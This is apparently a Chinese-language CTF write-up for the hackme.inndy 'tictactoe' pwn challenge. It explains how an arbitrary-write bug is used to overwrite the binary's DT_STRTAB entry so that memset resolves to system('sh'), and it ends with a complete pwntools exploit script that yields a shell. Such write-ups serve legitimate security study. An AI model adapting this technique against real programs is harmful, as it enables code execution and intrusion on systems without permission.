本文最后更新于:星期三, 一月 2日 2019, 4:13 下午
防护机制:
[*] '/home/zs0zrc/pwn/Scoreboard/tictactoe/tictactoe'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)
这题文件和tictactoe1是一样的,只不过这个要求getshell,漏洞点也就是一个任意地址写,我对着分析了半天除了想到将n修改成0,使得可以进行9次任意地址写 ,就想不到什么了,看了大佬的writeup才发现是用 ret2_dl_runtime_resolve做的
for ( i = 0; i <= 8 && !sub_80487F6(); ++i )
{
if ( n == -1 )
{
sub_80489C0();
}
else
{
sub_8048762();
sub_8048A4B();
}
n = -n;
}
elf文件各个节的信息:
LOAD:0804AF14 stru_804AF14 Elf32_Dyn <1, <1>> ; DATA XREF: LOAD:080480BC↑o
LOAD:0804AF14 ; .got.plt:0804B000↓o
LOAD:0804AF14 ; DT_NEEDED libc.so.6
LOAD:0804AF1C Elf32_Dyn <0Ch, <8048498h>> ; DT_INIT
LOAD:0804AF24 Elf32_Dyn <0Dh, <8048DA4h>> ; DT_FINI
LOAD:0804AF2C Elf32_Dyn <19h, <804AF04h>> ; DT_INIT_ARRAY
LOAD:0804AF34 Elf32_Dyn <1Bh, <8>> ; DT_INIT_ARRAYSZ
LOAD:0804AF3C Elf32_Dyn <1Ah, <804AF0Ch>> ; DT_FINI_ARRAY
LOAD:0804AF44 Elf32_Dyn <1Ch, <4>> ; DT_FINI_ARRAYSZ
LOAD:0804AF4C Elf32_Dyn <6FFFFEF5h, <80481ACh>> ; DT_GNU_HASH
LOAD:0804AF54 Elf32_Dyn <5, <80482F8h>> ; DT_STRTAB//要修改的地方
LOAD:0804AF5C Elf32_Dyn <6, <80481D8h>> ; DT_SYMTAB
LOAD:0804AF64 Elf32_Dyn <0Ah, <0BCh>> ; DT_STRSZ
LOAD:0804AF6C Elf32_Dyn <0Bh, <10h>> ; DT_SYMENT
LOAD:0804AF74 Elf32_Dyn <15h, <0>> ; DT_DEBUG
LOAD:0804AF7C Elf32_Dyn <3, <804B000h>> ; DT_PLTGOT
LOAD:0804AF84 Elf32_Dyn <2, <68h>> ; DT_PLTRELSZ
LOAD:0804AF8C Elf32_Dyn <14h, <11h>> ; DT_PLTREL
LOAD:0804AF94 Elf32_Dyn <17h, <8048430h>> ; DT_JMPREL
LOAD:0804AF9C Elf32_Dyn <11h, <8048418h>> ; DT_REL
LOAD:0804AFA4 Elf32_Dyn <12h, <18h>> ; DT_RELSZ
LOAD:0804AFAC Elf32_Dyn <13h, <8>> ; DT_RELENT
LOAD:0804AFB4 Elf32_Dyn <6FFFFFFEh, <80483D8h>> ; DT_VERNEED
LOAD:0804AFBC Elf32_Dyn <6FFFFFFFh, <1>> ; DT_VERNEEDNUM
LOAD:0804AFC4 Elf32_Dyn <6FFFFFF0h, <80483B4h>> ; DT_VERSYM
LOAD:0804AFCC Elf32_Dyn <0> ; DT_NULL
先简单回顾下_dl_fixup的流程
根据rel_offset 得到函数reloc结构体在JMPREL中的位置
根据reloc结构体中的r_offset 得到函数在got表中的地址
根据reloc结构体中的r_info>>8得到函数的sym结构体在symtab中的位置
根据sym结构中的st.name 得到函数字符串在strtab表中的位置
最后根据得到的函数名称解析函数地址,将函数地址写入got表
在这里因为有任意地址写漏洞,并且存储着DT_STRTAB等节地址的地方是可以写的
所以可以修改DT_STRTAB。因为程序最后会执行memset函数,所以选择修改DT_STRTAB,使得在memset在调用_dl_fixup函数时查找函数名字符串时获得的字符串是”system“,最终解析出system函数,并且向n写入’sh\x00’,那么最后执行memset时就会执行system(‘sh\x00’)
memset(&n, 0, 0x18u);
memset函数的字符串在DT_STRTAB中的偏移为 68
system函数的字符串的地址 —>[0x804900c] target = 0x8049fc8
将DT_STRTAB修改为 target= system_add - 68,这样的话当memset函数去DT_STRTAB中查找字符串时就会得到”system”字符串
for ( i = 0; i <= 8 && !sub_80487F6(); ++i )
{
if ( n == -1 )
{
sub_80489C0();
}
else
{
sub_8048762();
sub_8048A4B();
}
n = -n;
}
不过这里还要注意的是往n写入sh字符串时,这里会每次都会取反,所以在 i 等于奇数的时候写入sh字符串,最后在内存中的就是输入的sh字符串了。
exp:
#!/usr/bin/env python
from pwn import *
local = 1
if local:
p = process('./tictactoe')
elf = ELF('./tictactoe')
libc = elf.libc
else:
host = 'hackme.inndy.tw'
port = '7714'
p = remote(host,port)
elf = ELF('./tictactoe')
context.arch = elf.arch
context.terminal = ['tmux', 'splitw', '-h']
context.log_level='debug'
def sd(content):
p.send(content)
def sl(content):
p.sendline(content)
def rc():
return p.recv()
def ru(content):
return p.recvuntil(content)
def debug(addr,PIE=False):
if PIE:
text_base = int(os.popen("pmap {}| awk '{{print }}'".format(p.pid)).readlines()[1], 16)
gdb.attach(p,'b *{}'.format(hex(text_base+addr)))
else:
gdb.attach(p,"b *{}".format(hex(addr)))
def change(addr,value):
ru("flavor):")
sl('9')
sleep(0.1)
sl(value)
offset = addr - 0x804B056
ru('flavor): ')
sl(str(offset))
targe = 0x8049fc8
addr_STRTAB = 0x0804AF58
n = 0x0804B048
bss = elf.bss()
rc()
sl('1')
change(n,'\x99') #0
change(n,'\x73') #1
change(addr_STRTAB,'\xc8') #2
change(n + 1,'\x68') #3
change(addr_STRTAB + 1,'\x9f') #4
change(n+2,'\x00') #5
change(n+0x10,'\xff') #6
change(bss+0x100,'\xff') #7
change(bss+0x100,'\xff') #8
rc()
p.interactive()
hackme.inndy_writeup writeup pwn
本博客所有文章除特别声明外,均采用 CC BY-SA 3.0协议 。转载请注明出处!